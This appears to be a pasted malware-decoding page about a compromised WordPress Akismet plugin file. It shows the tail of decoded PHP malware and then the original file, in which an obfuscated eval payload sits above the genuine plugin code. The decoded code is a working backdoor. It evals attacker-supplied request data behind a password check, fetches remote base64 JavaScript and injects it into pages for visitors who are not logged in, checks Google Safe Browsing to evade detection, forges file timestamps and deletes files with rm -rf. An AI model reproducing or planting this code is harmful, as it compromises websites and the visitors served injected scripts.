null;}else{$_56=$_55;if(!@file_exists($_56)){$_25=@filemtime($_55);@mkdir($_56);$_57=@fopen("$_56/r",NU_GU(249));@fwrite($_57,NU_GU(250));@fclose($_57);@chmod($_56,round(0+511));@touch("$_56/r",$_25,$_25);@touch($_55,$_25,$_25);@touch($_56,$_25,$_25);if(!@file_exists("$_56/r")){$_55=dirname($_52);$_56=$_55 .NU_GU(251);}}}$_30=$_28[round(0+6)] .$_28[round(0+4+4)];if(!@file_exists($_56)){$_25=@filemtime($_55);@mkdir($_56);@chmod($_56,round(0+127.75+127.75+127.75+127.75));@touch($_55,$_25,$_25);@touch($_56,$_25,$_25);}$_58=@date(NU_GU(252));$_59=@date(NU_GU(253));$_60=substr(md5($_36),round(0),round(0+10));$_61="$_56/$_59";$_62="$_56/$_60";$_63="$_56/" .$_60 .$_58 .NU_GU(254);$_64="$_56/" .$_60 .$_59 .NU_GU(255);$_65="$_56/" .$_60 .$_59 .NU_GU(256);$_66=$_59-round(0+0.33333333333333+0.33333333333333+0.33333333333333);$_67=$_59-round(0+1+1);$_68=round(0+30);$_29=$_30($_28[round(0+1+1+1+1+1)]) .pow(round(0+1.6+1.6+1.6+1.6+1.6),round(0+0.4+0.4+0.4+0.4+0.4)) .$_28[round(0+0.8+0.8+0.8+0.8+0.8)] .$_30($_28[round(0+0.25+0.25+0.25+0.25)] .$_28[round(0+0.66666666666667+0.66666666666667+0.66666666666667)]);if(@file_exists("$_56/$_66")||@file_exists("$_56/$_67")){@rm_rf_file($_56);@ex("rm -rf $_56/*");}if(@file_exists($_65))return null;if(!@file_exists($_61)){$_25=@filemtime($_56);$_57=@fopen($_61,NU_GU(257));@fclose($_57);@chmod($_61,round(0+102.2+102.2+102.2+102.2+102.2));@touch($_56,$_25,$_25);}if(@is_writable($_56)&&(!@file_exists($_62)||(filemtime($_62)<(time()-$_68*round(0+20+20+20))))){$_0="http://google.com/safebrowsing/diagnostic?site=$_36";$_69=@cc($_0);if($_69 != NU_GU(258)&& strpos($_69,NU_GU(259))!== false){$_25=@filemtime($_56);$_57=@fopen($_65,NU_GU(260));@fclose($_57);@chmod($_65,round(0+511));@touch($_56,$_25,$_25);@touch($_65,$_25,$_25);return null;}$_70=@cc(tier($_28,$_29,$_30));if($_70 != NU_GU(261)&& $_70 != NU_GU(262)&& base64_decode($_70)!== false){$_57=@fopen($_62,NU_GU(263));@fwrite($_57,"$_70");@fclose($_57);@chmod($_62,round(0+255.5+255.5));}else{$_25=@filemtime($_56);$_57=@fopen($_65,NU_GU(264));@fclose($_57);@chmod($_65,round(0+255.5+255.5));@touch($_56,$_25,$_25);@touch($_65,$_25,$_25);return null;}}$_71=detB($_53,$_51);$_72=getB($_53,$_51);$_73=NU_GU(265);$_74=@file($_61);$_75=false;if($_74 !== false &&@count($_74)>round(0)){foreach($_74 as $_76){if(@trim($_76)== $_51){$_75=true;break;}}}if($_75 == false && $_71 == true &&@filesize($_62)>round(0+5+5)){$_57=@fopen($_61,NU_GU(266));@fwrite($_57,"$_51
");@fclose($_57);$_73=base64_decode(@file_get_contents($_62));if(strstr($_73,NU_GU(267))===false){if(strstr($_73,NU_GU(268))!==false)$_73=NU_GU(269) .str_repeat(NU_GU(270),mt_rand(round(0),round(0+500))) .$_73 .NU_GU(271);else $_73=NU_GU(272) .str_repeat(NU_GU(273),mt_rand(round(0),round(0+125+125+125+125))) ."<script type='text/javascript'>$_73</script>
";}}if(@is_writable($_56)&&!@file_exists($_63)&&!@file_exists($_65)){$_70=@cc(tier($_28,$_29,$_30) .NU_GU(274));if($_70 != NU_GU(275)&& base64_decode($_70)!== false){$_25=@filemtime($_56);$_57=@fopen($_63,NU_GU(276));@fwrite($_57,"$_70");@fclose($_57);@chmod($_63,round(0+255.5+255.5));@touch($_56,$_25,$_25);@touch($_63,$_25,$_25);if(@filesize($_63)>round(0+2+2+2+2+2))$_73=base64_decode(@file_get_contents($_63));}}else if(@file_exists($_63)&&@filesize($_63)>round(0+3.3333333333333+3.3333333333333+3.3333333333333)&&!@file_exists($_65)){$_73=base64_decode(@file_get_contents($_63));}if(@is_writable($_56)&&!@file_exists($_64)){$_70=@cc(tier($_28,$_29,$_30) .NU_GU(277));if($_70 != NU_GU(278)&& base64_decode($_70)!== false){$_25=@filemtime($_56);$_57=@fopen($_64,NU_GU(279));@fwrite($_57,$_70);@fclose($_57);@chmod($_64,round(0+255.5+255.5));@touch($_56,$_25,$_25);@touch($_64,$_25,$_25);if(@filesize($_64)>round(0+2+2+2+2+2)&& $_72)$_73=base64_decode(@file_get_contents($_64));}}else if(@file_exists($_64)&&@filesize($_64)>round(0+2+2+2+2+2)&& $_72){$_73=base64_decode(@file_get_contents($_64));}return $_73;}if(isset($_REQUEST[NU_GU(280)])&& md5($_REQUEST[NU_GU(281)])== NU_GU(282)){$_77=base64_decode($_REQUEST[NU_GU(283)]);eval($ev);exit();}else if(function_exists('add_filter')){function templatos_includos($_78){ob_start();return $_78;}function sitios_shutdownos(){$_79=check_wp_bload();$_3=ob_get_clean();$_3=preg_replace(NU_GU(284),"<body$1>{$_79}",$_3);echo $_3;}if(function_exists('is_user_logged_in')){if(!is_user_logged_in()){add_filter(NU_GU(285),NU_GU(286),round(0+0.25+0.25+0.25+0.25));add_filter(NU_GU(287),NU_GU(288),round(0));}}else{add_filter(NU_GU(289),NU_GU(290),round(0+0.25+0.25+0.25+0.25));add_filter(NU_GU(291),NU_GU(292),round(0));}}else if(function_exists('ob_start')){if(!function_exists('callbacks22')){function callbacks22($_80){$_73=check_wp_bload();if(preg_match(NU_GU(293),$_80)>round(0)){return preg_replace(NU_GU(294),NU_GU(295) .$_73,$_80,round(0+0.25+0.25+0.25+0.25));}else if(preg_match(NU_GU(296),$_80)>round(0)){return preg_replace(NU_GU(297),NU_GU(298) .$_73,$_80,round(0+0.5+0.5));}else if(preg_match(NU_GU(299),$_80)>round(0)){return preg_replace(NU_GU(300),NU_GU(301) .$_73,$_80,round(0+0.5+0.5));}else if(preg_match(NU_GU(302),$_80)>round(0)){return preg_replace(NU_GU(303),NU_GU(304) .$_73,$_80,round(0+0.25+0.25+0.25+0.25));}else if(preg_match(NU_GU(305),$_80)>round(0)){return preg_replace(NU_GU(306),$_73 .NU_GU(307),$_80,round(0+1));}else if(preg_match(NU_GU(308),$_80)>round(0)){return preg_replace(NU_GU(309),$_73 .NU_GU(310),$_80,round(0+0.2+0.2+0.2+0.2+0.2));}else if(preg_match(NU_GU(311),$_80)>round(0)){return preg_replace(NU_GU(312),$_73 .NU_GU(313),$_80,round(0+0.25+0.25+0.25+0.25));}else return NU_GU(314) .$_80 .$_73 .NU_GU(315);}}if(ob_get_clean()!== false){$_79=check_wp_bload();$_3=ob_get_clean();$_3=preg_replace(NU_GU(316),"<body$1>{$_79}",$_3);echo $_3;}else{$_81=NU_GU(317) .NU_GU(318) .NU_GU(319);@ob_start($_81);}}}} ?>

Did this file decode correctly?

Original Code

<?php $hohfcvss = "e/*./"; preg_replace(strrev($hohfcvss),"\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B",".");?><?php
/**
 * @package Akismet
 */
/*
Plugin Name: Akismet
Plugin URI: http://akismet.com/?return=true
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/?return=true">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key.
Version: 2.5.7
Author: Automattic
Author URI: http://automattic.com/wordpress-plugins/
License: GPLv2 or later
*/

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/

// Make sure we don't expose any info if called directly
if ( !function_exists( 'add_action' ) ) {
	echo 'Hi there!  I\'m just a plugin, not much I can do when called directly.';
	exit;
}

define('AKISMET_VERSION', '2.5.7');
define('AKISMET_PLUGIN_URL', plugin_dir_url( __FILE__ ));

/** If you hardcode a WP.com API key here, all key config screens will be hidden */
if ( defined('WPCOM_API_KEY') )
	$wpcom_api_key = constant('WPCOM_API_KEY');
else
	$wpcom_api_key = '';

if ( isset($wp_db_version) && $wp_db_version <= 9872 )
	include_once dirname( __FILE__ ) . '/legacy.php';

include_once dirname( __FILE__ ) . '/widget.php';

if ( is_admin() )
	require_once dirname( __FILE__ ) . '/admin.php';

function akismet_init() {
	global $wpcom_api_key, $akismet_api_host, $akismet_api_port;

	if ( $wpcom_api_key )
		$akismet_api_host = $wpcom_api_key . '.rest.akismet.com';
	else
		$akismet_api_host = get_option('wordpress_api_key') . '.rest.akismet.com';

	$akismet_api_port = 80;
}
add_action('init', 'akismet_init');

function akismet_get_key() {
	global $wpcom_api_key;
	if ( !empty($wpcom_api_key) )
		return $wpcom_api_key;
	return get_option('wordpress_api_key');
}

function akismet_check_key_status( $key, $ip = null ) {
	global $akismet_api_host, $akismet_api_port, $wpcom_api_key;
	$blog = urlencode( get_option('home') );
	if ( $wpcom_api_key )
		$key = $wpcom_api_key;
	$response = akismet_http_post("key=$key&blog=$blog", 'rest.akismet.com', '/1.1/verify-key', $akismet_api_port, $ip);
	return $response;
}

// given a response from an API call like akismet_check_key_status(), update the alert code options if an alert is present.
function akismet_update_alert( $response ) {
